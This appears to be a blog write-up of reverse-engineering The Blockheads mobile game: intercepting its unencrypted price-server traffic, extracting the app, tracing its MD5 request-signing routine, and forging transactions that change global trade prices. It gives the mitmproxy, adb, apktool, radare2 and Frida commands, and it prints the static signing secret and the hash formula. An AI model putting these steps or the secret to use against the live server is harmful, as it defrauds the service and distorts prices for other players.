I set up a wireless MitM access point. I then fired up Wireshark and looked at the packets and noticed two types of HTTP requests to priceserver.theblockheads.net
:
HTTP GET request to /get_prices_v2.php
. The server responded with a JSON object full of itemIDs and prices. This probably updates the prices of your local tradeportal.
HTTP POST request to /send_prices.php
. The content of the request is a JSON object containing a worldID and transactions. This probably updates the global price after a local transaction in the tradeportal.
I configured mitmproxy to use the wireless AP and captured the HTTP streams using:
mitmdump -T --port 8080 -w transactions.flow
I saw that the price updates (GET requests) and the transactions (POST requests) contained references to itemIDs. There was one problem: I had no idea what item corresponded to what itemID. After a bit of googling, I came across the official viewer for The Blockheads trade portal prices. Guess what? The links to see the 24 hour details of items contain the itemID. Awesome!
Since the GET requests are served over HTTP (unencrypted/unauthenticated), I could just MitM the GET requests, change some prices and forward the modified packets to device. I quickly banged up a mitmproxy python script that sets the price of stone high and all other prices ridiculously low:
mitmdump -T -q -s "rich.py"
Awesome, it worked. I can now buy as much jetpacks as I want, but all other players still have to pay full price… That doesn’t seem too fair, so I wanted to make jetpacks really cheap.
Okay, this seemed fairly straightforward: I just had to replay and modify an intercepted transaction:
mitmdump -n -c transactions.flow
Awesome, that modified the global trade portal price. I then tried to write a script to arbitrarily modify prices:
mitmdump -n -c transactions.flow -s "send_prices_first_try.py 17 200"
## This will try to buy 200 lanterns (itemID = 17)
## Actually, it won't
Crap, that didn’t modify the global price… I apparently overlooked something.
After making some more transactions from my test device, I figured out that there was an HTTP Hash
header which was different in every POST request. Since I could just replay requests, the Hash
header probably wasn’t time-sensitive. In order to figure out how the Hash value was generated, I tried to reverse engineer the app.
I first extraced and downloaded the app from my device to my computer using adb
:
adb shell pm path com.noodlecake.blockheads
#> package:/data/app/com.noodlecake.blockheads-1/base.apk
adb pull /data/app/com.noodlecake.blockheads-1/base.apk TheBlockheads-1.6.1.apk
I then unpacked the app using apktool.
apktool d ~/TheBlockheads-1.6.1.apk ~/blockheads/unpacked
While inspecting the unpacked app director, I noticed that the AndroidManifest.xml
contained a bunch of keys that contained “apportable”:
<meta-data android:name="apportable.expansion.main.version" android:value="1452614214" />
<meta-data android:name="apportable.expansion.main.size" android:value="63343672" />
<meta-data android:name="apportable.expansion.patch.version" android:value="0" />
<meta-data android:name="apportable.expansion.patch.size" android:value="0" />
<meta-data android:name="apportable.splash_screen_type" android:value="letterbox" />
<meta-data android:name="apportable.orientation" android:value="portrait" />
<meta-data android:name="apportable.opengles2" android:value="true" />
<meta-data android:name="apportable.opengles.fast_color" android:value="true" />
<meta-data android:name="apportable.arm_neon" android:value="true" />
<meta-data android:name="apportable.abi_list" android:value="armv7a armv7a-neon" />
I concluded that the app was probably built using apportable and was (according to apportable’s home page) written in Objective-C or Swift. This means that the juicy parts of the app are probably inside native libraries. And indeed:
lib
└── armeabi-v7a
├── libApplication.so
├── libAudioFile.so
├── libAudioToolbox.so
├── libAudioUnit.so
├── libBridgeKit.so
├── libCFNetwork.so
├── libCommonCrypto.so
├── libCoreAudio.so
├── libCoreFoundation.so
├── libCoreGraphics.so
├── libCoreText.so
├── libcrypto_1_01h.so
├── libcxx.so
├── libFoundation.so
├── libgles_apportable.so
├── libGraphicsServices.so
├── libicu.so
├── libNoodleCompatibility.so
├── libNoodleFoundation.so
├── libOpenAL.so
├── libpango.so
├── libSecurity.so
├── libssl_1_01h.so
├── libSystemConfiguration.so
├── libSystem.so
├── libv.so
└── libxml2.so
and:
strings blockheads/unpacked/lib/armeabi-v7a/libApplication.so | grep "priceserver"
#> http://priceserver.theblockheads.net/get_price_graph_data.php?item_id=%d
#> http://priceserver.theblockheads.net/send_prices.php
#> http://priceserver.theblockheads.net/get_prices_v2.php
I then listed all imports in libApplication.so
looking for something that looked like a hash function using radare2:
r2 libApplication.so
[0x0015ef40]> ii | grep "type=FUNC"
This returned two possible candidates: CC_MD5
and CFHash
. After a quick search, CFHash
was eliminated. I then instrumented the CC_MD5
function using Frida. After reading the CC_MD5 docs, I wrote a Frida JS script which shows the input and output of CC_MD5
every time it’s called.
frida-trace -U com.noodlecake.blockheads -i CC_MD5
7ba0ce9d53ce2ac394915efdbdb3505273vjaclg3287tdskjtrade_v_1{"worldID":"7ba0ce9d53ce2ac394915efdbdb35052","transactions":{"17":1}}
7ba0ce9d53ce2ac394915efdbdb3505273vjaclg3287tdskjtrade_v_1{"worldID":"7ba0ce9d53ce2ac394915efdbdb35052","transactions":{"17":2}}
7ba0ce9d53ce2ac394915efdbdb3505273vjaclg3287tdskjtrade_v_1{"worldID":"7ba0ce9d53ce2ac394915efdbdb35052","transactions":{"17":-2}}
I then stared at the string for a minute and figured out how the Hash
header is formed (in pseudo-code):
MD5(worldID + "73vjaclg3287tdskjtrade_v_1" + JSON_transactions)
(I confirmed that “73vjaclg3287tdskjtrade_v_1” is a static by running strings
on libApplication.so
)
I knew everyhing I needed: I typed up a mitmdump python script to change the transactions in the saved flows:
mitmdump -n -c transactions.flow -s 'send_prices.py 17 200'
## This will try to buy 200 lanterns (itemID = 17)
## It just might work
The price of lanterns went up: it worked! I am now able to modify prices without actually buying anything. Mission accomplished.